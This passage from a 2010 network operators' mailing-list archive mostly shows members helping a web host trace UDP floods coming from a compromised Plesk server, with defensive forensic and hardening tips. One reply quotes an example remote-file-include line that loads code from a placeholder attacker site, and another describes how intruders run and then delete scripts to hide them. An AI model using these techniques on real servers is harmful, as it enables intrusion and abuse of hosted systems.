privileged material. If you received this in error, please contact the sender immediately and then destroy this transmission, including all attachments, without copying, distributing or disclosing same. Thank you." > From msprague at readytechs.com Tue Feb 23 14:23:52 2010 From: msprague at readytechs.com (Matt Sprague) Date: Tue, 23 Feb 2010 15:23:52 -0500 Subject: Security Guideance In-Reply-To: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> References: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> Message-ID: <386FCF83D8086E4A89655E41CD3B53D359DF35766F@rtexch01> The user could also be running the command inline somehow or deleting the file when they log off. Check who was logged onto the server at the time of the attack to narrow down your search. I like the split the users idea, though it could be several iterations to narrow down the culprit. -----Original Message----- From: Ronald Cotoni [mailto:setient at gmail.com] Sent: Tuesday, February 23, 2010 3:20 PM To: Paul Stewart Cc: nanog at nanog.org Subject: Re: Security Guideance Quick suggestion BUT you may want to have Parallels look into it if you can't seem to find it since you pay for the support anyways. You may also want to check to see if it is a cron job that is doing it (if the machine was root kitted, you may have accidentally copied a cron job over. Another suggestion would be simply move half the accounts to one server and half to another and see if it ddoses again and keep doing that until you find the problem account. On Tue, Feb 23, 2010 at 2:46 PM, Paul Stewart wrote: > Hi folks... > > > > We have a strange series of events going on in the past while.... Brief > history here, looking for input from the community - especially some of > the security folks on here. > > > > We provide web hosting services - one of our hosting boxes was found a > while back with root kits installed, un patched software and lots of > other "goodies". ? ?With some staff changes in place (don't think I need > to elaborate on that) we are trying to clean up several issues including > this particular server. ?A new server was provisioned, patched, and > deployed. ?User data was moved over and now the same issue is coming > back.... > > > > The problem is that a user on this box appears to be launching high > traffic DOS attacks from it towards other sites. ?These are UDP based > floods that move around from time to time - most of these attacks only > last a few minutes. > > > > I've done tcpdumps within seconds of the attack starting and to date > been unable to find the source of this attack (we know the server, just > not sure which customer it is on the server that's been compromised). > Several hours of scanning for php, cgi, pl type files have been wasted > and come up nowhere... > > > > It's been suggested to dump IDS in front of this box and I know I'll get > some feedback positive and negative in that aspect. > > > > What tools/practices do others use to resolve this issue? ?It's ?a > Centos 5.4 box running latest Plesk control panel. > > > > Typically we have found it easy to track down the offending script or > program - this time hasn't been easy at all... > > > > Thanks, > > > > Paul > > > > > > > > > > > > > ---------------------------------------------------------------------------- > > "The information transmitted is intended only for the person or entity to which it is addressed and contains confidential and/or privileged material. If you received this in error, please contact the sender immediately and then destroy this transmission, including all attachments, without copying, distributing or disclosing same. Thank you." > From pbosworth at gmail.com Tue Feb 23 14:31:56 2010 From: pbosworth at gmail.com (Paul Bosworth) Date: Tue, 23 Feb 2010 15:31:56 -0500 Subject: Security Guideance In-Reply-To: <25b132e91002231230g5d0c2ceex276c417a340eda34@mail.gmail.com> References: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> <386FCF83D8086E4A89655E41CD3B53D359DF35766F@rtexch01> <25b132e91002231230g5d0c2ceex276c417a340eda34@mail.gmail.com> Message-ID: <25b132e91002231231h773a38c7kfe5d92558189350c@mail.gmail.com> Place an ids in front of the server and write a rule for the traffic signature. Paul B. Sent with Android On Feb 23, 2010 3:25 PM, "Matt Sprague" wrote: The user could also be running the command inline somehow or deleting the file when they log off. Check who was logged onto the server at the time of the attack to narrow down your search. I like the split the users idea, though it could be several iterations to narrow down the culprit. -----Original Message----- From: Ronald Cotoni [mailto:setient at gmail.com] Sent: Tuesday, February ... From michael.holstein at csuohio.edu Tue Feb 23 14:38:46 2010 From: michael.holstein at csuohio.edu (Michael Holstein) Date: Tue, 23 Feb 2010 15:38:46 -0500 Subject: Security Guideance In-Reply-To: <386FCF83D8086E4A89655E41CD3B53D359DF35766F@rtexch01> References: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> <386FCF83D8086E4A89655E41CD3B53D359DF35766F@rtexch01> Message-ID: <4B843CD6.5040601@csuohio.edu> > The user could also be running the command inline somehow or deleting the file when they log off. "wiretapping" your SSHd is one way to find out what people are up to http://forums.devshed.com/bsd-help-31/logging-ssh-shell-sessions-30398.html Also .. if you have the resources, a passive tap and another box that has enough disk and I/O to keep up is useful to see who was doing what right before the packetstorm happens. If you can take the box offline and grab a disk image, tools like "fls" from TSK can generate a filesystem timeline, again .. who touched what right before it started... Cheers, Michael Holstein Cleveland State University From dwhite at olp.net Tue Feb 23 14:39:41 2010 From: dwhite at olp.net (Dan White) Date: Tue, 23 Feb 2010 14:39:41 -0600 Subject: Security Guideance In-Reply-To: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> References: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> Message-ID: <20100223203941.GF4844@dan.olp.net> On 23/02/10?15:19?-0500, Ronald Cotoni wrote: >Quick suggestion BUT you may want to have Parallels look into it if >you can't seem to find it since you pay for the support anyways. You >may also want to check to see if it is a cron job that is doing it (if >the machine was root kitted, you may have accidentally copied a cron >job over. Another suggestion would be simply move half the accounts >to one server and half to another and see if it ddoses again and keep >doing that until you find the problem account. I'll second that. I've found a few interesting items in my /var/spool/cron/crontab before. Also check your web server logs. If someone has compromised an account via an apache/php vulnerability, it might show up in your access/error log (I saw 'wget' in my logs once). I assume you've checked 'last' to make sure they're not getting in via a remote shell. ls -ltra is your friend when finding the most recently created files in your filesystem. If you suspect there's a running process doing it, look through your /proc directory, like in /proc//environ, /proc//cmdline, etc. -- Dan White From acv at miniguru.ca Tue Feb 23 14:51:49 2010 From: acv at miniguru.ca (acv) Date: Tue, 23 Feb 2010 15:51:49 -0500 Subject: Security Guideance In-Reply-To: <20100223203941.GF4844@dan.olp.net> References: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> <20100223203941.GF4844@dan.olp.net> Message-ID: <20100223205149.GI1426@miniguru.ca> These tools will relate IP flow to UID in Linux: # Get the sockets that are open netstat -an # lsof (as root) sockets to pid and owner uid. lsof If netstat doen't show it, it could be a raw socket... Or your root-kit's still there. Raw sockets will still show in lsof. Alex On Tue, Feb 23, 2010 at 02:39:41PM -0600, Dan White wrote: > Date: Tue, 23 Feb 2010 14:39:41 -0600 > From: Dan White > To: Ronald Cotoni > Subject: Re: Security Guideance > Cc: nanog at nanog.org > > On 23/02/10?15:19?-0500, Ronald Cotoni wrote: > >Quick suggestion BUT you may want to have Parallels look into it if > >you can't seem to find it since you pay for the support anyways. You > >may also want to check to see if it is a cron job that is doing it (if > >the machine was root kitted, you may have accidentally copied a cron > >job over. Another suggestion would be simply move half the accounts > >to one server and half to another and see if it ddoses again and keep > >doing that until you find the problem account. > > I'll second that. I've found a few interesting items in my > /var/spool/cron/crontab before. > > Also check your web server logs. If someone has compromised an account via > an apache/php vulnerability, it might show up in your access/error log > (I saw 'wget' in my logs once). > > I assume you've checked 'last' to make sure they're not getting in via a > remote shell. > > ls -ltra is your friend when finding the most recently created files in your > filesystem. > > If you suspect there's a running process doing it, look through your /proc > directory, like in /proc//environ, /proc//cmdline, etc. > > -- > Dan White -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available URL: From nanog at lacutt.com Tue Feb 23 14:45:05 2010 From: nanog at lacutt.com (LaDerrick H.) Date: Tue, 23 Feb 2010 14:45:05 -0600 Subject: Security Guideance In-Reply-To: References: Message-ID: <20100223204505.GX26728@nm.lacutt> On Tue, Feb 23, 2010 at 02:46:54PM -0500, Paul Stewart wrote: > Hi folks... > > > > We have a strange series of events going on in the past while.... Brief > history here, looking for input from the community - especially some of > the security folks on here. > > > > We provide web hosting services - one of our hosting boxes was found a > while back with root kits installed, un patched software and lots of > other "goodies". With some staff changes in place (don't think I need > to elaborate on that) we are trying to clean up several issues including > this particular server. A new server was provisioned, patched, and > deployed. User data was moved over and now the same issue is coming > back.... > > > > The problem is that a user on this box appears to be launching high > traffic DOS attacks from it towards other sites. These are UDP based > floods that move around from time to time - most of these attacks only > last a few minutes. Counting outbound udp bytes and packets can help spot anomalies. Something like this would help but may be unwieldy if you have thousands of users on a single box: WANIF=eth0 userlist="userA userB user..." for i in ${userlist} do iptables -N ${i}_UDP iptables -I OUTPUT -m owner -o ${WANIF} -p udp --uid-owner ${i} -j ${i}_UDP done Then look at counters with: iptables -nvL OUTPUT | grep _UDP | sort....... I wouldn't leave this in place full-time for thousands of accounts though without attempting to measure the impact on network performance. > > > > I've done tcpdumps within seconds of the attack starting and to date > been unable to find the source of this attack (we know the server, > just not sure which customer it is on the server that's been > compromised). Several hours of scanning for php, cgi, pl type files > have been wasted and come up nowhere... > > > > It's been suggested to dump IDS in front of this box and I know I'll > get some feedback positive and negative in that aspect. > > > > What tools/practices do others use to resolve this issue? It's a > Centos 5.4 box running latest Plesk control panel. > > > > Typically we have found it easy to track down the offending script or > program - this time hasn't been easy at all... > > > > Thanks, > > > > Paul > > > > > > > > > > > > > ---------------------------------------------------------------------------- > > "The information transmitted is intended only for the person or entity > to which it is addressed and contains confidential and/or privileged > material. If you received this in error, please contact the sender > immediately and then destroy this transmission, including all > attachments, without copying, distributing or disclosing same. Thank > you." From david.freedman at uk.clara.net Tue Feb 23 14:47:31 2010 From: david.freedman at uk.clara.net (David Freedman) Date: Tue, 23 Feb 2010 20:47:31 +0000 Subject: Security Guideance In-Reply-To: References: Message-ID: > What tools/practices do others use to resolve this issue? use lsof, should be able to show you consumption of network socket resources by process (and hence user, hopefully) Dave. From cmadams at hiwaay.net Tue Feb 23 14:55:40 2010 From: cmadams at hiwaay.net (Chris Adams) Date: Tue, 23 Feb 2010 14:55:40 -0600 Subject: Security Guideance In-Reply-To: <386FCF83D8086E4A89655E41CD3B53D359DF35766F@rtexch01> References: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> <386FCF83D8086E4A89655E41CD3B53D359DF35766F@rtexch01> Message-ID: <20100223205540.GD1305778@hiwaay.net> Once upon a time, Matt Sprague said: > The user could also be running the command inline somehow or deleting > the file when they log off. Check who was logged onto the server at > the time of the attack to narrow down your search. I like the split > the users idea, though it could be several iterations to narrow down > the culprit. We've also seen this with spammers. They'll upload a PHP via a compromised account, connect to it via HTTP, and then delete it from the filesystem. The PHP continues to run, Apache doesn't log anything (because it only logs at the end of a request), and the admin is left scratching his head to figure out where the problem is. IIRC PHP holds an open file descriptor on active scripts, so you can use lsof to look for things like this (look for "deleted" or "path inode" entries). -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From bzs at world.std.com Tue Feb 23 14:55:39 2010 From: bzs at world.std.com (Barry Shein) Date: Tue, 23 Feb 2010 15:55:39 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <877585b01002230943r7e2a97a8kc78790e09d28db43@mail.gmail.com> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> <4B840213.2090306@cox.net> <20100223113439.C27943@egps.egps.com> <877585b01002230943r7e2a97a8kc78790e09d28db43@mail.gmail.com> Message-ID: <19332.16587.101956.251357@world.std.com> The suggestion to own your own domain name coupled with some consumer protection against practices which resist transferring domain names to a new provider solves this problem well enough. Maybe that's even what's slipping thru the cracks of these 10 second mechanical google translations? -- -Barry Shein The World | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: 800-THE-WRLD | Dial-Up: US, PR, Canada Software Tool & Die | Public Access Internet | SINCE 1989 *oo* From jconlin at axsne.com Tue Feb 23 15:15:12 2010 From: jconlin at axsne.com (Joe Conlin) Date: Tue, 23 Feb 2010 16:15:12 -0500 Subject: Security Guideance In-Reply-To: References: Message-ID: <42F2995AD6FA0C4CA1EFBFD0CD3E9ABE02FD1E4C@exch01.axsdom.local> >From personal experience you will likely not find much help from Parallels. We provide webhosting here on the Plesk 8.x and 9 platforms and in similar situations I have found good results using a combination of OSSEC (http://www.ossec.net/ BIG shout out to these guys, this project makes my life so much easier), and enabling Apache mod_status. Netstat, lsof, and ntop (www.ntop.org) are also useful. Also, the default PHP configs in a Plesk deployment should to be reviewed; I once had an IRC bot written in PHP being remotely included into a customer's site because of a server mis-configuration (make sure php.ini has "allow_url_fopen = Off" and "allow_url_include = Off"). Seeing as how your server is generating UDP traffic, it's possible that your DNS (Bind) configs are allowing recursion and this is what's being abused (Plesk is bundled with Bind to handle the vhost DNS hosting). Either it is allowing public recursion or a local user may be abusing local recursion abilities.... a helpful tool for monitoring DNS queries on your server is "dnstop" (http://dns.measurement-factory.com/tools/dnstop/). You should also check out #plesk on freenode for a wealth of Plesk security knowledge. Hope this helps Joe Conlin Access Northeast jconlin at axsne.com www.axsne.com "Your Partner for IP Network Solutions" -----Original Message----- From: Paul Stewart [mailto:pstewart at nexicomgroup.net] Sent: Tuesday, February 23, 2010 2:47 PM To: nanog at nanog.org Subject: Security Guideance Hi folks... We have a strange series of events going on in the past while.... Brief history here, looking for input from the community - especially some of the security folks on here. We provide web hosting services - one of our hosting boxes was found a while back with root kits installed, un patched software and lots of other "goodies". With some staff changes in place (don't think I need to elaborate on that) we are trying to clean up several issues including this particular server. A new server was provisioned, patched, and deployed. User data was moved over and now the same issue is coming back.... The problem is that a user on this box appears to be launching high traffic DOS attacks from it towards other sites. These are UDP based floods that move around from time to time - most of these attacks only last a few minutes. I've done tcpdumps within seconds of the attack starting and to date been unable to find the source of this attack (we know the server, just not sure which customer it is on the server that's been compromised). Several hours of scanning for php, cgi, pl type files have been wasted and come up nowhere... It's been suggested to dump IDS in front of this box and I know I'll get some feedback positive and negative in that aspect. What tools/practices do others use to resolve this issue? It's a Centos 5.4 box running latest Plesk control panel. Typically we have found it easy to track down the offending script or program - this time hasn't been easy at all... Thanks, Paul ------------------------------------------------------------------------ ---- "The information transmitted is intended only for the person or entity to which it is addressed and contains confidential and/or privileged material. If you received this in error, please contact the sender immediately and then destroy this transmission, including all attachments, without copying, distributing or disclosing same. Thank you." From nanog at konadogs.net Tue Feb 23 15:27:21 2010 From: nanog at konadogs.net (Nate Itkin) Date: Tue, 23 Feb 2010 11:27:21 -1000 Subject: Security Guideance In-Reply-To: References: Message-ID: <20100223212721.GA25862@l1.konadogs.net> On Tue, Feb 23, 2010 at 02:46:54PM -0500, Paul Stewart wrote: > The problem is that a user on this box appears to be launching high > traffic DOS attacks from it towards other sites. It's possible the user inadvertently enabled the same exploit after you rebuilt the system. I suggest caution with assigning culpability. Nate Itkin From Valdis.Kletnieks at vt.edu Tue Feb 23 16:13:14 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 23 Feb 2010 17:13:14 -0500 Subject: Security Guideance In-Reply-To: Your message of "Tue, 23 Feb 2010 11:27:21 -1000." <20100223212721.GA25862@l1.konadogs.net> References: <20100223212721.GA25862@l1.konadogs.net> Message-ID: <23632.1266963194@localhost> On Tue, 23 Feb 2010 11:27:21 -1000, Nate Itkin said: > On Tue, Feb 23, 2010 at 02:46:54PM -0500, Paul Stewart wrote: > > The problem is that a user on this box appears to be launching high > > traffic DOS attacks from it towards other sites. > > It's possible the user inadvertently enabled the same exploit after you > rebuilt the system. I suggest caution with assigning culpability. Or the gold image used to rebuild was itself vulnerable. It happens a lot more often than you think. I'd suggest *lots* of caution with assigning culpability. ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From nanog at daork.net Tue Feb 23 16:38:20 2010 From: nanog at daork.net (Nathan Ward) Date: Wed, 24 Feb 2010 11:38:20 +1300 Subject: Security Guideance In-Reply-To: <20100223205149.GI1426@miniguru.ca> References: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> <20100223203941.GF4844@dan.olp.net> <20100223205149.GI1426@miniguru.ca> Message-ID: Using lsof, netstat, ls, ps, looking through proc with ls, cat, etc. is likely to not work if there's a rootkit on the box. The whole point of a rootkit is to hide processes and files from these tools. Get some statically linked versions of these bins on to the server, and hope they haven't patched your kernel. Are you sure that it's someone who has root? How do you know? Is it not possible that it's someone running this from a PHP script or something, that they've gotten on to the server with the help of a vulnerability in some customer's website code? Maybe it's even a customer doing this intentionally? I've seen this sort of thing where they don't even write the code to disk - some vuln in a PHP script lets them download code from some remote server and execute it from memory - PHP's require() accepts a URL. The usual thing to do here is to take the server offline and make a copy of the disk with a writeblocker in place to prevent further changes, etc. and then inspect the image of the disk on a machine that is not using any binaries from that disk. If there really is a rootkit in place then you'll likely find it. If you're unable to do this, perhaps boot up the server from a CD, there are plenty of forensic analysis/security targeted Linux boot CDs around. If you're unable to capture full packets, perhaps netflow would be useful? - look for incoming data to ports you don't expect. It's much more lightweight on your data storage, and probably doesn't involve you putting in a new server - but a bit heavier on your network kit. -- Nathan Ward From jbfixurpc at gmail.com Tue Feb 23 16:47:00 2010 From: jbfixurpc at gmail.com (Joe) Date: Tue, 23 Feb 2010 17:47:00 -0500 Subject: Security Guideance In-Reply-To: Message-ID: <001301cab4da$1e825a90$4401a8c0@jgbpc> Just figured I might add a little direction to this. 1. If its a production system that impacts several users/customers your best bet would be to rebuild the system from scratch, not an image. Yes takes time, but investigating it will likely take longer. As you previously mentioned the folk(s) that were in-charge of the system are no longer in that capacity which could (depending on the "craftiness" of them) could have left an intentional (or not) exploit now plaguing you. 2. If your intent on finding a root cause you will probably need to spend quite a bit of time and caution investigating the said system. As soon as theres mention of a "rootkit" everything is suspect, i.e. ls might not be ls, df may not be df. Might be worth adding the volume to a known good system mounting it and comparing the image/structure and said files. But of course as I mentioned above, if its a critical system then your kind of stuck with an aggressive time line so... Obviously an IDP will mask the issue, but won't fix it. Good luck -Joe Blanchard From mailinglists at expresswebsystems.com Tue Feb 23 17:19:11 2010 From: mailinglists at expresswebsystems.com (Express Web Systems) Date: Tue, 23 Feb 2010 17:19:11 -0600 Subject: Security Guideance In-Reply-To: References: Message-ID: <005f01cab4de$9beb9f10$d3c2dd30$@com> > The problem is that a user on this box appears to be launching high > traffic DOS attacks from it towards other sites. These are UDP based > floods that move around from time to time - most of these attacks only > last a few minutes. > > > > I've done tcpdumps within seconds of the attack starting and to date > been unable to find the source of this attack (we know the server, just > not sure which customer it is on the server that's been compromised). > Several hours of scanning for php, cgi, pl type files have been wasted > and come up nowhere... As others have suggested turning off remote file includes is a good start in php.ini. PHP5 has some rather nice settings to allow more flexible configuration of this (while still allowing PHP programmers to be lazy and do things like file('http://foo/index.php') but I digress). Plesk uses open_basedir by default on its Apache config which will help limit what the hacker has access to via the web daemon. However it still allows unrestricted access to /tmp for obvious reasons. We generally set /tmp to be noexec and nosuid for our disk images. This helps make things more difficult for the script kiddies, but doesn't stop them completely. Most likely since you are dealing with customer data that must be maintained from each instance of the server and that is most likely the attack vector being exploited (since it is common to each instance of the server). Either a PHP based shell, something as simple as a file uploader/shell script, or the aforementioned remote file include is likely the cause. They are most likely uploading a perl script to /tmp, firing it off with a shell command via the apache user, then removing it from /tmp and masking its program name so that it doesn't appear obvious in a report from ps (I have seen httpd most of the time, which is fairly obvious to spot on a Debian server thankfully - apache runs as apache(2) on Debian rather than httpd on RedHat/CentOS). If you are able... I would create a noexec,nosuid /tmp mount and if at all possible... limit perl to only be accessible for the root user (chmod 700). This is a tad extreme, but it has helped me in the past. Another thing (if that isn't possible) is to place a wrapper around perl that will log what user accessed perl, at what time, and which script was executed. This information will prove to be invaluable in helping narrow down where the attack is originating. Once you have a timestamp, it's just a matter of going through your logs to find what was going on where at that specific instant on the server. Also take a look at the server wide apache logs (in /var/log) as there might be valuable information in there perhaps leading you closer to a culprit. Good luck, these sorts of issues are difficult to track down and take time and patience to clean up. If you would like please contact me off-list for more assistance. I have been using Plesk since 1.0 so I am pretty familiar with its ins and outs. Warm regards, Tom Walsh From gdt at gdt.id.au Tue Feb 23 18:12:07 2010 From: gdt at gdt.id.au (Glen Turner) Date: Wed, 24 Feb 2010 10:42:07 +1030 Subject: NANOG48 HD streams now active In-Reply-To: <4B8426A5.1050909@poggs.co.uk> References: <7BF01DC7-0B4A-4B71-BD19-AC9E08C173B5@gmail.com> <4B8426A5.1050909@poggs.co.uk> Message-ID: <4B846ED7.60308@gdt.id.au> > 7pm appears to be a bad time to tune in if you're in the UK... The streaming is very appreciated. A clock visible to the camera would save the hassle of translating local time to agenda time. -- Glen Turner From ge at linuxbox.org Tue Feb 23 18:20:31 2010 From: ge at linuxbox.org (Gadi Evron) Date: Wed, 24 Feb 2010 02:20:31 +0200 Subject: Security Guideance In-Reply-To: References: Message-ID: <4B8470CF.5080509@linuxbox.org> On 2/23/10 9:46 PM, Paul Stewart wrote: > Hi folks... > > We have a strange series of events going on in the past while.... Brief > history here, looking for input from the community - especially some of > the security folks on here. If you can't discover the malware using methods available to you, are you able to provide with a packet dump of the DoS? Might help us pinpoint the relevant botnet and/or bot. As to web server botnets, you may be interested in this 2007 article from me on the subject: http://gadievron.com/publications/GadiEvron_VBFeb07.pdf Good luck, Gadi. -- Gadi Evron, ge at linuxbox.org. Blog: http://gevron.livejournal.com/ From surfer at mauigateway.com Tue Feb 23 18:39:10 2010 From: surfer at mauigateway.com (Scott Weeks) Date: Tue, 23 Feb 2010 16:39:10 -0800 Subject: NANOG48 HD streams now active Message-ID: <20100223163910.B5CC7987@resin17.mta.everyone.net> --- gdt at gdt.id.au wrote: From: Glen Turner > 7pm appears to be a bad time to tune in if you're in the UK... The streaming is very appreciated. A clock visible to the camera would save the hassle of translating local time to agenda time. ----------------------------------------------- I'd like to second that. Thanks! It's a lot better with the HD stream as compared to the past when I couldn't read the presentation slides on the stream and had to try to follow along with slides next to the stream on one itty bitty laptop screen. It is a lot easier. Also, I can finally see what you all look like after reading your emails for so many years! ;-) scott From joel.esler at me.com Tue Feb 23 19:55:33 2010 From: joel.esler at me.com (Joel Esler) Date: Tue, 23 Feb 2010 20:55:33 -0500 Subject: Security Guideance In-Reply-To: <23632.1266963194@localhost> References: <20100223212721.GA25862@l1.konadogs.net> <23632.1266963194@localhost> Message-ID: <13434533234246932817572671033735024087-Webmail@me.com> Why does there need to be blame? Diagnose the problem, fix the problem, move on with life. Someone made a mistake, learn from it, move on. -- Joel Esler joel.esler at me.com http://www.joelesler.net On Tuesday, February 23, 2010, at 05:13PM, wrote: >On Tue, 23 Feb 2010 11:27:21 -1000, Nate Itkin said: >> On Tue, Feb 23, 2010 at 02:46:54PM -0500, Paul Stewart wrote: >> > The problem is that a user on this box appears to be launching high >> > traffic DOS attacks from it towards other sites. >> >> It's possible the user inadvertently enabled the same exploit after you >> rebuilt the system. I suggest caution with assigning culpability. > >Or the gold image used to rebuild was itself vulnerable. It happens a lot >more often than you think. I'd suggest *lots* of caution with assigning >culpability. ;) > > > From adam at adamstas.com Tue Feb 23 20:20:49 2010 From: adam at adamstas.com (Adam Stasiniewicz) Date: Tue, 23 Feb 2010 20:20:49 -0600 Subject: Security Guideance In-Reply-To: <20100223205540.GD1305778@hiwaay.net> References: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> <386FCF83D8086E4A89655E41CD3B53D359DF35766F@rtexch01> <20100223205540.GD1305778@hiwaay.net> Message-ID: <11bc8818a1530b7a6ee19ca3f8fd104f@mail.gmail.com> I've seem similar. Another variant of this is PHP code that lets arbitrary data be inputted into require() or include() statements, for example: include('http://evilsite.com/evil.txt'). That way, the attacker can then load whatever code they want and it will never be saved to the file system. I would recommend verifying that all the shrink-wrapped products (i.e. forums, blogs, CMS, etc) on the server be checked to ensure that they at the most current update/patch and are not EOL. Generally most of those vendors are good at responding to security issues in their products, but it's up to the person running the website to update their code. Also, have you considered enabling SELinux? Enforcing the targeted policy will prevent Apache from making outbound socket connections (and may break other stuff), but it might be worth the headache. On a similar note, mod_security also may help (depending on how the attack is being launched) but again may break some things. If the attack is possibly being launched via SSH/shell access, enable password complexity then force all of your clients to change their password. Hope that helps, Adam Stasiniewicz -----Original Message----- From: Chris Adams [mailto:cmadams at hiwaay.net] Sent: Tuesday, February 23, 2010 2:56 PM To: Matt Sprague Cc: nanog at nanog.org Subject: Re: Security Guideance Once upon a time, Matt Sprague said: > The user could also be running the command inline somehow or deleting > the file when they log off. Check who was logged onto the server at > the time of the attack to narrow down your search. I like the split > the users idea, though it could be several iterations to narrow down > the culprit. We've also seen this with spammers. They'll upload a PHP via a compromised account, connect to it via HTTP, and then delete it from the filesystem. The PHP continues to run, Apache doesn't log anything (because it only logs at the end of a request), and the admin is left scratching his head to figure out where the problem is. IIRC PHP holds an open file descriptor on active scripts, so you can use lsof to look for things like this (look for "deleted" or "path inode" entries). -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From mpalmer at hezmatt.org Tue Feb 23 23:43:38 2010 From: mpalmer at hezmatt.org (Matthew Palmer) Date: Wed, 24 Feb 2010 16:43:38 +1100 Subject: log parsing tool? In-Reply-To: References: Message-ID: <20100224054338.GE14157@hezmatt.org> On Mon, Feb 22, 2010 at 04:15:22PM -0600, fedora fedora wrote: > Anyone has good recommendations for an open-sourced log parsing and > analyzing application? It will be used to work with syslog-ng and other > general syslog and application logs. > > I have been looking at swatch and logwatch, but would like to find out if > there are other good choices, thanks SEC does seem to be the "gold standard" in advanced log correlation beyond that available in "grep | mail" type systems such as logwatch. However it is incredibly arcane, and despite reading a lot of documentation for it I've never really been able to wrap my head around it. A colleague has started to write a SEC-like tool with (I hope) a more approachable mental model; take a look at http://github.com/rodjek/grok. I must (embarrasedly) admit I haven't looked at it yet, but he claims that he reimplemented sshd_sentry (the fail2ban equivalent we use) in two lines of rules, which seems like a nice (basic) demonstration. - Matt From laurens at daemon.be Wed Feb 24 05:29:01 2010 From: laurens at daemon.be (Laurens Vets) Date: Wed, 24 Feb 2010 12:29:01 +0100 Subject: Security Guideance In-Reply-To: References: Message-ID: <4B850D7D.9040507@daemon.be> > The problem is that a user on this box appears to be launching high > traffic DOS attacks from it towards other sites. These are UDP based > floods that move around from time to time - most of these attacks only > last a few minutes. Maybe it's not 'malicious' at all. For instance, is there a Bittorrent client on the box? From cmaurand at xyonet.com Wed Feb 24 07:03:23 2010 From: cmaurand at xyonet.com (Curtis Maurand) Date: Wed, 24 Feb 2010 08:03:23 -0500 Subject: Security Guideance In-Reply-To: References: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> <20100223203941.GF4844@dan.olp.net> <20100223205149.GI1426@miniguru.ca> Message-ID: <4B85239B.3000406@xyonet.com> On 2/23/2010 5:38 PM, Nathan Ward wrote: > Using lsof, netstat, ls, ps, looking through proc with ls, cat, etc. is likely to not work if there's a rootkit on the box. The whole point of a rootkit is to hide processes and files from these tools. > > Get some statically linked versions of these bins on to the server, and hope they haven't patched your kernel. > See if you can get a binary of busybox which has those tools and they're all contained in the binary. It should run from any folder. http://busybox.net Very handy. --Curtis From rsk at gsp.org Wed Feb 24 07:21:59 2010 From: rsk at gsp.org (Rich Kulawiec) Date: Wed, 24 Feb 2010 08:21:59 -0500 Subject: Spamhaus... In-Reply-To: <6eb799ab1002212059r24072148wbd3089c14c4b44d8@mail.gmail.com> References: <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <9305.1266688401@localhost> <3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com> <20100221141043.GA13708@gsp.org> <3c3e3fca1002211001r3a0705f6l13e831e51dad85fa@mail.gmail.com> <6eb799ab1002212059r24072148wbd3089c14c4b44d8@mail.gmail.com> Message-ID: <20100224132159.GA15562@gsp.org> On Sun, Feb 21, 2010 at 10:59:08PM -0600, James Hess wrote: > But if the origin domain has not provided SPF records, there are some > unusual cases left open, where a bounce to a potentially fake address > may still be required. Third time: SPF plays no role in mitigating this. Nothing stops an attacker from using a throwaway domain to send traffic to known backscatterers, who will then backscatter it to $throwawaydomain, whose MX's are set to $victim's MX's. This is not a hypothetical, BTW, and there are a number of more interesting attack scenarios that I'll leave as an exercise for the reader. (Some of these have been discussed in detail on spam-l, and may be found in the archives.) However, even if SPF is in play, a surprising (and perhaps disturbing) number of mail operations authenticate users but then do not require that the sender match the authenticated user. This permits the attacker to use joe at example.com to target sue at example.com with backscatter, if the user-part can be set independently. (Even if sue at example.com does not exist, it still permits targeting of example.com.) And if the domain-part can be set independently, then obviously third parties can be targeted. (Again, see the archives of spam-l where all of this has been analyzed and discussed in great depth.) Yes, yes, yes, we can argue that some of this is bad mail system practice on the part of example.com, and we can argue that this is bad security practice on the part of joe, and both of these arguments have merit, but it's one the first principles of abuse control that abuse should always be squelched where possible, never passed on, reflected or even worse, amplified. A little transient schadenfreude might feel good, but it's poor operational practice -- it's never appropriate to respond to abuse with abuse. ---Rsk From bill at herrin.us Wed Feb 24 09:48:48 2010 From: bill at herrin.us (William Herrin) Date: Wed, 24 Feb 2010 10:48:48 -0500 Subject: Spamhaus... In-Reply-To: <20100224132159.GA15562@gsp.org> References: <20100219203030.GA13374@gsp.org> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <9305.1266688401@localhost> <3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com> <20100221141043.GA13708@gsp.org> <3c3e3fca1002211001r3a0705f6l13e831e51dad85fa@mail.gmail.com> <6eb799ab1002212059r24072148wbd3089c14c4b44d8@mail.gmail.com> <20100224132159.GA15562@gsp.org> Message-ID: <3c3e3fca1002240748v517eb205lc266028b13bb600a@mail.gmail.com> On Wed, Feb 24, 2010 at 8:21 AM, Rich Kulawiec wrote: > On Sun, Feb 21, 2010 at 10:59:08PM -0600, James Hess wrote: 